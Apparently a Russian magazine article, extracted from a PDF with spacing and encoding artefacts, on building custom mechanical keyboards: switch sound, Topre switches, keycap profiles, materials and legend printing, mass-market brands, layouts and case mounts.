Пер вая — хай-питч. Так называ ют высокий гром кий звук уда ра сте ма
о ниж ний кор пус перек лючате ля. Осо бен но этот звук любим людь ми, которые
уго рают по кас томам в олдушном сти ле и пред почита ют перек лючате ли
Cherry Black.

При мер кла виату ры на таких сви чах

Вто рая катего рия называ ется «кри ми токи кла ки» (creamy thocky clacky). Такой
звук обыч но изда ют перек лючате ли, сде лан ные из POM-плас тика, либо сви- 
чи, сто ящие в кас томных кла виату рах, которые гасят высокие тона. Это глу хой
и невысо кий звук уда ра плот ного плас тика о плот ный плас тик. Если ты
любишь смот реть видоси ки зарубеж ных кла воги ков и слы шишь ну очень при- 
ятные зву ки при печати, то, ско рее все го, это оно — звук «кри ми токи кла ки».
При мер таких кла виатур — Zeal PC Tealio или Gateron Cap Teal.

Тре тий тип — сай лент-звук. Это уже силь но приг лушен ный звук, он встре- 
чает ся исклю читель но в линей ках Silent-перек лючате лей. Сай лент-перек- 
лючате ли раз ных про изво дите лей доволь но силь но раз лича ются матери ала- 
ми и метода ми глу шения зву ка, поэто му хоть сай лен ты и зву чат тихо,
но тональ но могут силь но отли чать ся друг от дру га.

Сай лент-звук. Пос лушай сам

Звук перек лючате лей зависит от кучи раз ных парамет ров, таких как матери ал
кор пуса, его стро ение, матери ал и конс трук ция плей та, матери алы кей капов,
их тол щина и фор ма.

Ýëåêòðîñòàòè÷åñêèå (åìêîñòíûå) ïåðåêëþ÷àòåëè

В этих перек лючате лях есть метал личес кие лифы либо пру жины, но у них нет
пря мого замыка ния кон тактов. Пла ты с эти ми перек лючате лями осна щены
дат чиками изме рения емкости, а емкость изме няет ся при нажатии. При чем
на таких кла виату рах мож но задать свою точ ку сра баты вания перек лючате ля,
допус тим при нажатии на 1,5 мм или на 2 мм.

Элек трос татичес кие перек лючате ли быва ют двух под типов. Пер вые —
фор мы Cherry MX. Они несов мести мы с дру гими кла виату рами, но сов мести-
мы с кей капами Cherry MX и по сво ему устрой ству очень напоми нают обыч- 
ные механи чес кие сви чи, толь ко лифы у них не соп рикаса ются. Их дела ет
Varmilo в EC-серии сво их кла виатур. Такие перек лючате ли име ют два кон такта
и при паивают ся, как и обыч ные сви чи Cherry MX. Ни с какими дру гими кла- 
виату рами они не сов мести мы, так что эта шту ка не осо бо популяр ная.

Вто рой под тип называ ется Topre, вот о них погово рим под робнее. Преж де
все го, сами перек лючате ли очень напоми нают мем бран ную кла виату ру,
но без мем бра ны. Конс трук ция такая: в плейт кла виату ры встав лена плас- 
тиковая мат рица, на которой уста нов лены што ки. На них надева ются кей капы,
а што ки слу жат тол кателя ми. Под тол кателя ми находит ся резино куполь ная
прок ладка, прак тичес ки точ но такая же, как у мем бран ных кла виатур, а под
каж дым резино вым куполом рас положе на конусо образная пру жина, которая
ниж ней сво ей частью сто ит на пла те, усе янной емкос тны ми дат чиками.

Ре зино куполь ная прок ладка дела ет то, что дела ют пру жины в механи чес- 
ких перек лючате лях: вытал кива ет перек лючатель в ненажа тое положе ние.
Плюс из-за сво его устрой ства она обла дает опре делен ной так тиль ностью
при нажатии. То есть ход нажатия на перек лючате ли Topre не лине ен. Пру- 
жина же слу жит исклю читель но для сра баты вания нажатия изме нени ем
емкости. Пра ва на перек лючате ли Topre при над лежат ком пании Fujitsu, и вся
мощь их раз работок зак лючена в двух брен дах кла виатур — 
и . Важ ный нюанс: кей капы у них не MX-сов мести мые, и ста били зато ры
тоже.

RealForce
HHKB

Под эти кла виату ры сто рон ние про изво дите ли иног да выпус кают свои сов- 
мести мые сеты, поэто му мод динг воз можен, и еще как. Мож но ли переде лать
свой реал форс под MX-кей капы? Мож но, заменой слай деров (они же сте мы,
тол катели, на которые надеты капы).

Еще на рын ке при сутс тву ют кла виату ры на кло нах Topre под наз вани ем
Nopre. Про дают ся они под мар кой Niz. Эти кла вы уже отош ли от клас сичес- 
кого япон ско го сти ля и выг лядят бли же к мас совому сег менту кла виатур. Но и
пред лага ют они боль ше, нап ример RGB-под свет ку, раз нооб разную грам-
мовку пру жин, выбира емую на сай те про изво дите ля, а так же под дер жку
Bluetooth.  — воз можно, тебе пон равит ся.Поп робуй

Êåéêàïû

Они же кноп ки, они же «кеп ки», они же кол пачки, что надеты на перек лючате- 
ли. Имен но их при печати каса ются твои паль цы. Кей капы раз лича ют по их
про филю, методу нанесе ния легенд и матери алам, из которых они изго тов- 
лены.

Кей капы

Ïðîôèëü

Этим тер мином называ ется фор ма кей капов, которая вли яет на внеш ний вид
и удобс тво печати на кла виату ре. Кей капы быва ют скуль пту риро ван ные и нес- 
куль пту риро ван ные. Пер вые име ют раз ную высоту на раз ных рядах кла виату- 
ры. Боль шинс тву нра вят ся имен но скуль птед-про фили. Самые популяр ные
сре ди них выпус кают Cherry, OEM, SA. А вот нес куль пту риро ван ные кей капы
име ют оди нако вую высоту по всем рядам. Если пос мотреть на кла виату ру
в про филь, то она выг лядит плос кой. Самые популяр ные не скуль птед-про- 
фили — XDA, DSA. Под робнее почитать о про филях мож но .тут

Ìåòîä íàíåñåíèÿ ëåãåíä

Ле ген ды — это буков ки и цифер ки на кей капах. Опи шу два самых популяр ных
спо соба нанесе ния легенд.

Double Shot

Пер вый из них называ ется Double Shot («двой ной выс трел» в перево де гуг ля,
«двухс твол ка» в вари анте авто ра). Он свя зан с тех нологи ей отливки.
Основной кор пус кей капа отли вает ся из одно го цве та и вида плас тика
с вырезом для леген ды. Далее залива ется вто рой цвет из дру гого сор та плас- 
тика. Соот ветс твен но, буков ку с такого кей капа невоз можно сте реть в прин- 
ципе, она отли та в плас тмас се на всю глу бину повер хнос ти кей капа.в гра ните 

Са мые кру тые кей капы дела ет немец кая ком пания GMK как серий ным про- 
изводс твом, так и на заказ для раз личных дизай неров. И упа си боже тебе
всту пить в груп пбай на «кеп ки» это го про изво дите ля. Ско рее все го, ты
не дотер пишь до момен та их отправ ки — срок ожи дания может сос тавлять
два года и боль ше.

Так же мож но отли вать даб лшот из матери алов с раз ной сте пенью проз- 
рачнос ти и делать кей капы, которые так любят зумеры, — с проз рачны ми
сим волами для RGB-под све точек. И да, нын че научи лись делать трип лшо ты,
то есть мож но отли вать сим волы раз ных цве тов. Прав да, GMK в такие тех- 
нолод жи не уме ет, поэто му в кру тей шем сете GMK Terror основные леген ды
отли ты, а вто рые леген ды тупо напеча таны, как нак лей ки. Да-да, ты вмо- 
розил 200 бак сов в «кеп ки», подож дал пару лет, они при еха ли, и мало того,
что через какое-то вре мя вто рые леген ды стер лись или отле тели, так еще и
капы зашай нились (что это за эффект, я рас ска жу далее).

По гово рим о качес тве. GMK уме ют делать кра сиво, отли вать капы качес- 
твен но и ров но, сами капы и леген ды ров ные. Но так дела обсто ят далеко не у
всех. Купив деш ман ские капы на «Али ке» за пару косарей, ты обна ружишь, что
леген ды выг лядят слиш ком округло, недос таточ но деталь но, могут либо быть
утоп ленны ми в кор пус, либо, наобо рот, чуть выс тупать над пло щад кой капа.
Да, Akko, я о тебе говорю. Поэто му, если ты решил купить себе капы, выпол- 
ненные имен но по такой тех нологии, не жмот ничай, я тебя про шу, — ску пой
пла тит дваж ды. Боль шинс тво даб лшот-капов сде ланы из плас тика ABS,
который обла дает не самыми кле выми харак терис тиками. Плас тик PBT тоже
встре чает ся — нап ример, в про дук ции Dark Project.

DYE-SUB

Она же суб лимаци онная печать. Разог ретую крас ку под дав лени ем вго няют
внутрь пус того кей капа, и получа ется напеча тан ная буков ка. Эту буков ку поч ти
нере аль но сте реть, так как крас ка не ложит ся поверх кей капа, а про ника ет
внутрь плас тика и ста новит ся еди ным целым с ним. Один из луч ших изго тови- 
телей, исполь зующих дан ную тех нологию, — ePBT. Эти чуваки тоже дела ют
как серий ные кей капы, так и под заказ.

Ку пив кей капы ePBT, ты получишь тол стен ный PBT-плас тик, рез кие,
как брит ва, края у легенд, и их ров ное рас положе ние отно ситель но друг дру га
плюс чет кие и яркие цве та. Купив деш ман с «Али ка», ты уви дишь, что бук вы
пры гают отно ситель но друг дру га, цве та будут блед ные, а края легенд — раз- 
мытые. Поэто му, бра тан, не жмоть ся и в этом слу чае. Луч ше возь ми серий ные
капы ePBT или ана логич ные изде лия дру гих про изво дите лей подоро же.

Тех нологи чес кий про цесс суб лимации отли чает ся тем, что леген ды таким
спо собом мож но нанес ти толь ко на PBT-плас тик. Дело в том, что ваку умная
печь — это далекий потомок вул кана Ород руин, поэто му ABS-плас тик тупо
не выдер жит таких тем ператур и рас пла вит ся, аки снег по вес не.

Чер ные леген ды мож но нанес ти на белый плас тик, белые леген ды на чер- 
ный — нель зя. Поэто му обыч но юза ют белые блан ковые капы и уже на них
нак ладыва ют либо прос то леген ды, либо леген ды и мас ку дру гого цве та, нап- 
ример зеленый кап с крас ной леген дой. Из это го дела ем вывод: если у про- 
изво дите ля крас ка — отстой, печь — отстой и в качес тве инже нера-тех нолога
работа ет Чубак ка, то капы будут блед ные, мут ные и выг лядеть будут непот- 
ребно. Если же все у изго тови теля окей, то на выходе мы получим кра сивей- 
шие и соч ней шие кей капы.

К сло ву, если тебе попадут ся чер ные кей капы с белым сим волом, то
для печати таких рас цве ток берут белый кап, свер ху и по бокам окра шива ют
чер ным цве том, а леген ду, наобо рот, не отпе чаты вают. Такая тех нология
называ ется «ревер сивный дай саб». Самая слож ная и заморо чен ная тех- 
нология, с помощью которой мож но перек рашивать белые блан ковые кей- 
капы целиком. Кра сиво и качес твен но это уме ет делать, по-моему, толь ко
ePBT.

Ìàòåðèàëû

Два самых рас простра нен ных матери ала для изго тов ления кей капов —
это плас тики ABS и PBT. О них я и рас ска жу. Еще капы дела ют из POM-плас- 
тика, из дерева, из алю миния. Воз можно, если отпра вить пару-трой ку ток- 
сичных трол лей из кла виатур ного сооб щес тва в мес та не столь отда лен ные,
появят ся и из хлеб ного мякиша.

ABS рас шифро выва ется как акри лонит рилбу тади енсти рол. Капы из него
дешевы, лег ки в про изводс тве и юза ются чуть более чем во всех кла виату рах
масс-мар кет-клас са: «Рей зере», «Лод житеке», «Кор саре» и про чих. Хорош
ABS-плас тик тем, что быва ет проз рачным, а зна чит, без него не обой тись
при изго тов лении капов с проз рачны ми леген дами. Жир ный плюс, на мой
взгляд, у него толь ко один: ком пания GMK (и не толь ко она) отли вает из ABS
кей капы соч ней ших цве тов, прос то феерия для глаз. Само собой, соч ные
и ров ные ABS-кей капы сто ят денег. Минусы тоже есть, но о них чуть поз же.

PBT — полибу тилен тереф талат. Очень креп кий и жарос той кий плас тик.
Из него отлично получа ются кра сиво выг лядящие и хорошо зву чащие кей- 
кап-сеты для кас томных кла виатур. Кро ме того, его юза ют для хороших
серий ных кла виатур. Этот матери ал под ходит для печати легенд методом
суб лимации и даб лшо том, устой чив к тер мичес ким и химичес ким воз дей стви- 
ям. Лич но я не раз чис тил загажен ные кей капы из такого плас тика шумани том
(мощ ная щелочь для кухонь), и хоть бы что им было. Очи щают ся от жира, кро- 
шек, еды, гря зи и дох лых тарака нов на раз. Рекомен дую.

Еще из-за сво ей плот ности и веса такие кла виши отлично зву чат, то есть
при пря мом срав нении любые PBT-кепоч ки будут зву чать луч ше, чем ABS-
деш ман из сред них ценовых катего рий. Хотя тол стый ABS тоже хорошо зву- 
чит. И еще PBT не жел теет со вре менем — вну кам отдашь.

Øàéí

Лю бые ABS-кепоч ки из шер шавых быс тро ста новят ся глад кими, нас толь ко
глад кими, что начина ют блес теть, слов но лысина Иль ича. Так что рано
или поз дно (ско рее все го, рано) на люто дорогих кей капах из ABS появят ся
блес тящие проп лешины. Кому-то такое заходит, некото рые ори гина лы даже
спе циаль но шай нят кноп ки в парах аце тона. Короче, сам думай, надо оно
тебе или нет. И да, ABS-кепоч ки на «Лод житеках» обыч но пок рыты матовой
крас кой, которая собира ет все отпе чат ки мира, но не дает им затирать ся
до блес ка.

Ïîæåëòåíèå

АБС-плас тик под дей стви ем уль тра фиоле та жел теет. Жел тые рет рокла вы
видел? Так вот: лет трид цать назад они были либо белые, либо цве та сло- 
новой кос ти, но никак не жел тые. Этот про цесс мож но повер нуть вспять, под- 
вер гнув ABS про цеду ре осветле ния в уль тра фиоле товой ван не с отра жате- 
лями и кон цен три рован ной перекисью водоро да. Но на этот момент можешь
осо бо не обра щать вни мания, так как жел теют ABS-кей капы мед ленно и, ско- 
рее все го, ты не ста нешь покупать себе капы в поль зование на дол гие и дол- 
гие годы.

Ðàçìåðû êåéêàïîâ

Кей капы быва ют раз ной дли ны, и за стан дарт были при няты те же юни ты,
в которых изме ряют ся раз меры ста били зато ров. Обоз нача ются они латин- 
ской бук вой U. В качес тве юни та взят раз мер обыч ной сим воль ной кла виши,
осталь ные капы име ют либо целый, либо дроб ный раз мер в юни тах. Нап- 
ример, дли на про бела на стан дар тной рас клад ке ANSI/ISO сос тавля- 
ет 6,25 юни та. Кноп ка Сtrl — 1,25 U, а Enter — 2,25 U.

Хит рость сос тоит в том, что в зависи мос ти от рас клад ки может изме нять ся
при выч ная дли на кла виш. У WKL-кла виатур про бел уже сос тавля ет 7 юни тов,
а не 6,25, поэто му при покуп ке новой базы твой ста рый уже не подой дет.
Соот ветс твен но, при покуп ке новых наборов нуж но вни матель но смот реть,
есть ли кей капы нуж ного раз мера в наборе. Нап ример, сей час стал очень
популя рен фор мат кла виатур 75% — ког да покупа ешь кей кап-сет под такую
кла ву, обра ти вни мание как минимум на наличие в сете пра вого шиф та раз- 
мером 1,75 U.

ÏÐÎÄÎËÆÅÍÈÅ ÑËÅÄÓÅÒ

Ог раничен ный объ ем статьи не поз волил нам рас смот реть дру гие важ ные
момен ты, свя зан ные с соз дани ем кас томных кла виатур. В сле дующей час ти
мы про ведем обзор рын ка, побесе дуем о все воз можных модах и важ ных
аксессу арах, которые сде лают твою кла виату ру по-нас тояще му уни каль ной.

https://www.maketecheasier.com/assets/uploads/2020/04/keyboard-switch-modding-08d.jpg
https://www.youtube.com/watch?v=tTwav32SvJA
https://www.youtube.com/watch?v=cbeMwrTMDu4
https://www.realforcekeyboards.com/uk/
https://happyhackingkb.com/
https://www.nizkeyboard.com/
https://mkbd.ru/post/keycaps/
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GEEK

Кла виату ры, как извес тно, быва ют раз ные: подешев ле и поп- 
роще из компь ютер ных магази нов и кас томные — их
собира ют вруч ную. Каж дая такая кла виату ра по-сво ему уни- 
каль на. Соз дание кас томных кла виатур — это целый увле- 
катель ный мир со сво ими осо бен ностя ми и нюан сами.
Сегод ня я рас ска жу тебе о рын ке кас томов, рас клад ках кла- 
виатур, устрой стве кор пусов, модах и аксессу арах.

INFO

О дос тоинс твах механи чес ких кла виатур и их
устрой стве читай в пре дыду щей статье: «

».

Ме хани- 
чес кая Кла ва. Как, зачем и из чего собирать свою
кла виату ру

ÌÀÑÑ-ÌÀÐÊÅÒ-ÊËÀÂÈÀÒÓÐÛ

На пишу нес коль ко строк толь ко о тех масс-мар кет-кла виату рах, которые
не вызыва ют чувс тва печали (а какие-то даже раду ют за свои день ги). Учи- 
тывая, что я не пер вый год работаю с механи чес кими кла виату рами, с боль- 
шинс твом из них я стал кивал ся лич но. Стал кивал ся — это зна чит ока зывал
тех поддер жку, ремон тировал их, модифи циро вал, обслу живал и прос то поль- 
зовал ся ими не один день. Итак, погово рим о хороших брен дах из катего рии
масс-мар кета.

Varmilo

«Вар милки» могут пох вастать ся отличным креп ким кор пусом и кру тыми кей- 
капами раз нооб разных рас цве ток. Леген ды на кей капах напеча таны суб- 
лимаци ей, при чем напеча таны хорошо. Края легенд рез кие и чет кие, что сви- 
детель ству ет о вдум чивом под ходе к делу: нем ногие про изво дите ли уме ют
хорошо печатать леген ды методом суб лимации. Кей капы име ют свой уни- 
каль ный про филь, напоми нающий клас сичес кий «Чер ри», но пло щад ки
под паль цы у Varmilo шире. Печатать на такой кла виату ре удоб но. Еще в этих
кла вах с завода уста нов лены неп лохие сма зан ные ста били зато ры.

Ти пич ная кла виату ра Varmilo

Те перь о пло хом: у Varmilo нет никако го соф та, а школь ники или бухие мужики
каким-то обра зом пос тоян но зажима ют ком бинации сва па кла виш Win с Fn
либо вов се выруба ют кноп ку Win, вызывая рыдания у сот рудни ков тех поддер- 
жки. Потому что разоб рать ся с проб лемой юзе ры не в сос тоянии, даже с инс- 
трук цией. Это беда. Кро ме этих фишек и управле ния муль тимедиа через
зажатый Fn, кла виату ра не уме ет вооб ще ничего.

Она ста новит ся совер шенно бес помощ ной, если ты хочешь сде лать собс- 
твен ную рас клад ку или наз начить кла вишам свой мак рос. «Вар мило» исполь- 
зуют перек лючате ли Cherry. Не луч шие перек лючате ли, по край ней мере
на 2022 год. Они не име ют смаз ки, из-за чего при печати даже на сай- 
лент-перек лючате лях раз дает ся бешеный лязг и звон пру жин — это ужас но.
Нюанс: пос ле смаз ки перек лючате ли «Чер ри» вне зап но ста новят ся очень
при ятны ми по так тиль ным ощу щени ям и зву чат отлично.

Leopold

Это кла виату ры для нас тоящих муж чин. Клас сичес кий дизайн кор пуса, нес- 
тандар тный про филь кей капов под наз вани ем Step Sculpture 2. Он напоми- 
нает про филь Cherry, но нем ного пониже. В качес тве метода нанесе ния
легенд исполь зует ся Double Shot. При чем леген ды получа ются высоко го
качес тва, но все же не иде аль ного. Количес тво рас цве ток этих кла виатур
и кей капов силь но огра ниче но, и все они, пря мо ска жем, на боль шого
любите ля.

Кла виату ра Leopold

«Леополь ды» исполь зуют перек лючате ли Cherry, которые я уже упо минал.
У «Лео» нет никако го соф та или ком бинаций кла виш, толь ко dip-перек лючате- 
ли на дне кла виату ры, сочета ниями которых мож но свап нуть пару кла виш.
И все. Но самое глав ное — кла виату ра при всей сво ей прос тоте сра зу же
начина ет гнить, если на нее что-то про лить. То есть если вечером за каточ кой
в тан ки ты плес нешь на нее нем ного пива, то утром у кла виату ры может отка- 
зать весь ниж ний ряд кла виш, потому что диоды и про чие ради оэле мен ты
сгни ют и окис лятся, а без них кла виши не работа ют. Ста бы в «Леополь дах»
сма заны «нанос лоем», то есть смаз ка как бы есть, но ее нас толь ко мало, что
кла виату ра ляз гает на всю ком нату.

Dark Project

А кон крет но — KD87A на Gateron Cap Teal. Силь ная сто рона этих кла виатур
спря тана внут ри кор пуса. Здесь исполь зуют ся перек лючате ли Gateron Cap
Teal: эти сви чи Dark Project заказы вает нап рямую у про изво дите ля Gateron.
Они име ют не сов сем стан дар тную конс трук цию, отли чающуюся в луч шую
сто рону от дру гих кло нов Cherry-MX. У обыч ных MX-перек лючате лей на дне
ниж ней час ти кор пуса находит ся втул ка, в которую вхо дит шток сте ма (стем —
это под вижная часть сви ча, на которую насажи вает ся кноп ка). У серии Cap
все инверти рова но. Втул ка находит ся на сте ме, а шток — на дне кор пуса.

Кла виату ра Dark Project KD87A

Это ощу тимо сни жает воб линг сте ма, то есть кноп ка на кла виату ре мень ше
бол тает ся в сто роны, если пошеве лить ее паль цем. Боль шинс тво юзе ров
подоб ного эффекта не замеча ет, но для некото рых людей это важ но.
Еще перек лючате ли Gateron Cap Teal отлично сма заны с завода, а зна чит,
никако го зво на пру жин ты не услы шишь, стем ходит очень плав но, что дает
при ятные ощу щения при нажатии. Пру жины у них длин нее пру жин Cherry
на 2 мм и находят ся в пред сжа том сос тоянии, что тоже ска зыва ется на ощу- 
щени ях от работы с кла вой.

У KD87A кру тые акус тичес кие харак терис тики. Стем и ниж ний кор пус
перек лючате ля сде ланы из POM-плас тика, а вер хняя часть кор пуса —
из поликар боната. POM-плас тик в сви че дает басовый звук («тук»), а не
высокий («ток»), как на сви чах Cherry из ней лона. За счет это го кла виату ры
от «Дар ков» зву чат низ ко и при ятно — не бесяще. Кей капы — одни из луч ших
с под свет кой сим волов: так как это масс-мар кет, людям нуж на RGB-под свет- 
ка.

У «Дар ков» есть свои мол ды (фор мы) для отливки кей капов, а изго тав лива- 
ются они из совер шенно неуби ваемо го PBT-плас тика. Для легенд исполь- 
зует ся проз рачный ABS-плас тик, при этом леген ды нанесе ны методом Double
Shot и их невоз можно сте реть в прин ципе. На этой кла виату ре уста нов лены
ста били зато ры типа PCB-Mount, такие ста били зато ры исполь зуют в кас- 
томных кла виату рах. Ста били зато ры это го типа не встав ляют ся в плейт кла- 
виату ры, как ста бы Plate Mount, а прик ручива ются к пла те вин тами со сто роны
дна и име ют более низ кие допус ки при отливке, за счет чего работа ют гораз- 
до тише ана логов — они еще и неп лохо сма заны. Кро ме того, у вла дель ца
появ ляет ся отличная воз можность для пос леду ющей про кач ки кла виату ры.

Так как в конс трук ции KD87A исполь зуют ся хот сва пы, мож но заменить сви- 
чи, а ста били зато ры пос тавить, как у дорогих кас томов, и получить замет ную
раз ницу меж ду магазин ным образцом и про качан ной кла виату рой. При мер
такого апгрей да мож но уви деть . Кор пуса у этих кла виатур совер шенно
обыч ные, каких-то супер наворо чен ных матери алов не исполь зует ся, одна ко
раду ет, что про изво дите ли прок ладыва ют «шум ку» меж ду пла той и плей том.
Мно гие это го не дела ют. Софт — ну, он есть. Китай ский, кри вова тый, но поз- 
воля ющий ремапить кноп ки и писать мак росы плюс управлять под свет кой.
До лидеров рын ка, конеч но, не дотяги вает, но хоть что-то.

здесь
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Дер жи ссы лоч ки на прог раммы, которые спо соб- 
ны в прог рам мном режиме переназ начать кла- 
виши и писать мак росы. С помощью это го соф та
ты смо жешь сде лать поч ти любую кла виату ру
«умной», даже если по умол чанию она ничего
не уме ла. Для Windows это , для OS
X — .

KeyManager
Karabiner

×ÅÌ ÌÀÑÑ-ÌÀÐÊÅÒ ÕÓÆÅ ÊÀÑÒÎÌÎÂ?

Ес ли крат ко — то всем. Во-пер вых, прог рам мные воз можнос ти: кас томную
кла виату ру мож но зап рограм мировать имен но так, как удоб но тебе, а не
дядюш ке Ляо с фаб рики в Шэнь чжэ не. У сто ковых кла виатур софт чаще все го
адо во кри вой и неудоб ный.

Вто рой момент — кор пуса и матери алы. Учи тывая, что сто ковые кла вы
рас счи таны на мас совые про дажи, про изво дите ли эко номят на всем, на чем
толь ко мож но. Кор пуса дела ют из дешево го и тон кого плас тика, перек лючате- 
ли исполь зуют тоже самые прос тые. Чаще все го они либо пло хие, либо
более-менее нор маль ные, в ред ких слу чаях хорошие (DP). А вот топ-перек-
лючате ли за боль шие день ги в мас совый сег мент ник то не ста вит, пос коль ку
они могут сто ить боль ше, чем сред неста тис тичес кая кла виату ра из магази на.

Звук — это вооб ще та грань, которая отде ляет пло хую кла виату ру
от хорошей. Если твоя кла виату ра зву чит как вед ро с гай ками, то, ско рее все- 
го, ты будешь зак лей мен, осме ян и опле ван. К сожале нию, боль шинс тво
масс-мар кет-кла виатур зву чат нас толь ко мер зос тно, что уди витель но, зачем
их вооб ще покупа ют. У самых популяр ных брен дов не встре тить ни сма зан ных
перек лючате лей, ни сма зан ных ста били зато ров. Поэто му при нажатии
на про бел поль зователь слы шит жут кий лязг плас тика и метал личес кой ско бы,
при чем нас толь ко гром кий, что мож но раз будить Ленина в мав золее.

Кей капы — чаще все го это ABS-плас тик, тон кий, неиз носос той кий и пок- 
рытый крас кой, в которой лазером выреза ны леген ды, что бы буков ки све- 
тились, ина че не купят. Такие кноп ки час то лома ются, обле зают, шай нят ся
(затира ются до блес ка), совер шенно отвра титель но зву чат, так как стен ки
у них очень тон кие, а хороший звук любит тол щину.

Осо бая боль — это кей капы на кла виату рах Logitech, осо бен но те, что
юза ются с перек лючате лями RomerG, они же Omron. По мне, так совер шенно
гадос тные перек лючате ли, которые ни чер та нель зя заменить MX-сов мести- 
мыми. Кро ме того, на них невоз можно натянуть никакие кей капы, кро ме фир- 
менных, которые сто ят дороже любого перек лючате ля на рын ке, так как ком- 
пания ими офи циаль но не тор гует.

Рас клад ки — это ужас и боль любого, кто пытал ся пос тавить на свой Razer
или Corsair дру гой кей кап-сет. Нет, дру жище, про изво дите ли мас совых кла- 
виатур не юза ют пра вос лавный стан дарт ANSI или ISO, они пош ли собс твен- 
ным путем и извра тили ниж ний ряд так, что, купив дорогой и хороший набор
кей капов, ты даже молот ком его не забь ешь на кла виату ру. У тебя не сой дет- 
ся дли на про бела или дли на некото рых кно пок — Win, Ctrl, Alt.

Ну и конеч но же, внеш ний вид. На рын ке пол но гей мер ских кла виатур,
демони чес ки сияющих все ми цве тами радуги и раду ющих душу школь ников
оби лием плас тиковых рюшек. В соз нании детей это выг лядит дорого-богато.
На самом же деле — жут ко убо го.

В качес тве аль тер нативы мож но выб рать при лич но выг лядящую,
но все-таки плас тиковую кла виату ру, как у Dark Project, Varmilo, Leopold, либо
кла ву с метал личес ким кор пусом Vortex, где металл чуть тол ще фоль ги.
Еще есть полуп ласти ковые Das Keyboard. У этих кла виатур из метал ла сде- 
лана толь ко вер хняя панель, но выг лядят они при лич но, да и вооб ще кла- 
виату ры неп лохие. Их я ува жаю, толь ко они тре буют обя затель но сма зать все
ста били зато ры сис темы креп ления Costar (ред кий тип, иду щий из глу бины
веков, но хороший). Еще при дет ся заменить сви чи Cherry при лич ными,
а штат ные ABS-кей капы — PBT… Короче, про ще соб рать свою кас томную кла- 
виату ру с нуля.

ÔÎÐÌÀÒÛ ÊËÀÂÈÀÒÓÐ

Фор мат — это раз мер кла виату ры и количес тво кно пок на ней. Фор маты
быва ют стан дар тные, не очень стан дар тные, а быва ют автор ские. Перечис лю
самые популяр ные сре ди стан дар тных.

100% — full-size-кла виату ра с циф ровым бло ком спра ва (иног да сле ва).
Все масс-мар кет-кла виату ры начина ли с него, сей час этот фор мат пос тепен- 
но уми рает в домаш нем исполь зовании. Обыч но люди не набира ют очень
мно го цифр, а зна чит, им не нужен циф ровой блок. Мож но на нем сэконо мить
и сде лать кла виату ру ком пак тнее и дешев ле. Кас томы это го фор мата встре- 
чают ся чуть чаще цве туще го папорот ника, увы, он не поль зует ся популяр- 
ностью у кла виатур ных гиков.

Кла виату ра фор мата full-size

Фор мат 80%, он же TKL (tenkeyless) — это кла виату ры без циф рового бло ка.
Золотая клас сика. 75% — поч ти то же самое, но в более ком пак тной ком- 
понов ке без кно пок Scroll Lock, Insert, Pause и нес коль ких дру гих. Мой лич ный
фаворит в лице кла виату ры GMMK PRO. Фор мат 65% — это ког да от фор- 
мата 75% отре зали ряд фун кци ональ ных и пароч ку дру гих кла виш. 60% —
это фор мат 65%, от которо го отре зали еще нес коль ко кно пок и убра ли стрел- 
ки. Осо бен но любим пок лонни ками ком пак тных раз меров и минима лиз ма.

ÐÀÑÊËÀÄÊÈ ÊËÀÂÈÀÒÓÐ

В одном и том же фор мате мож но встре тить кла виату ры с раз ным количес- 
твом и рас положе нием кла виш. Нап ример, рас клад ка WKL (winkeyless) —
это фак тичес ки TKL (tenkeyless), но без двух кла виш Win. Кла виша про бела
в этой рас клад ке уве личе на с 6,25 юни та до 7 юни тов, а Ctrl и Alt с 1,25 юни та
до 1,5. Еще час то дела ют раз ные рас клад ки на кла виату рах фор мата 60%. Тут
и ANSI, и Tsangan, и кла вы со сплит-про бела ми, и даже стрел ки умуд ряют ся
запихи вать в фор мат 60%. Под робнее о рас клад ках мож но про читать .тут

Кла виату ра фор мата 60%

Ðàçðÿäêà ðÿäîâ

Раз рядка рядов — это про межут ки меж ду рядами кла виш. К при меру, обра- 
тим вни мание на GMMK PRO. У этой кла виату ры фор мата 75% ряд 

 кла виш отде лен про межут ком от циф рового ряда, а пра вый
стол бец и стрел ки отде лены от бук венно го бло ка кла виш.
функциональных

Кла виату ра GMMK PRO

Бы вают кла виату ры, где ряд фун кци ональ ных кла виш име ет раз рядку,
а стрел ки и пра вый стол бец кла виш при мыка ют к бук венно му бло ку, — так
устро ена, нап ример, Percent Studio Trio75. Еще встре чают ся самые ком пак- 
тные вари анты без раз рядки вов се, такие как KBD75.

Ñòàããåð

Стаг гер — это сдвиг рядов кла виш отно ситель но друг дру га. Если ты вни- 
матель но пос мотришь на свою кла виату ру, то уви дишь, что кла виши рас- 
положе ны не друг над дру гом, а с неболь шим сме щени ем. Клас сичес кий
стаг гер — то, на чем печата ет боль шинс тво людей. Так же быва ет вер тикаль- 
ный стаг гер, этот метод сдви га исполь зует ся в некото рых эрго номич ных кла- 
виату рах, нап ример Jorne или Cornelius.

Вер тикаль ный стаг гер

Еще быва ет мат ричный стаг гер, на нем дела ют орто линей ные кла виату ры,
у них нет никако го сдви га рядов кла виш отно ситель но друг дру га. Нап ример,

.Atlas

Ýðãîêëàâèàòóðû

Глав ное отли чие эрго номич ных кла виатур от обыч ных — в изме нении положе- 
ния рук при печати. Эргокла виату ры дают воз можность дер жать руки более
естес твен но для челове ка. Так же эргокла виату ры име ют раз личные сдви ги
рядов и раз личное количес тво кла виш. Сре ди них встре чают ся как монолит- 
ные, нап ример X-Bow, TGR Alice, Kinesis, так и раз делен ные на две час ти, каж- 
дая под свою руку, нап ример Ultimate Hacking Keyboard, ErgoDox EZ. Такие
кла виату ры называ ют эргос пли тами. Кста ти, эргос пли ты осо бен но любимы
в сооб щес тве open source, час то про дают ся и собира ются как DIY-наборы.
Яркие при меры — Lily58, Soe, Jorne, Corne, Jian, Jiran.

Продолжение статьи →

https://xakep.ru/2022/03/01/mechanical-keyboard/
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https://mkbd.ru/post/keyboard-formats-layouts/
https://cannonkeys.com/products/gb-atlas-keyboard
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ÓÑÒÐÎÉÑÒÂÎ ÊÎÐÏÓÑÀ

Кор пуса, они же маун ты, быва ют раз ные — я рас ска жу о самых инте рес ных
и популяр ных.

Са мый рас простра нен ный тип кор пуса — Tray Mount. Это корыто, на дне
которо го рас положе на резь ба для вин тов. Бутер брод из пла ты и плей та
со сви чами прик ручива ется к дну маун та. Фак тичес ки такой кор пус сос тоит
из одной детали и край не прост в изго тов лении. Некото рые гики модят
подоб ные кор пуса по сво ему вку су: спи лива ют цен траль ные стой ки, уста нав- 
лива ют коль ца O-Ring вок руг бутер бро да (меж ду пла той и плей том) и добав- 
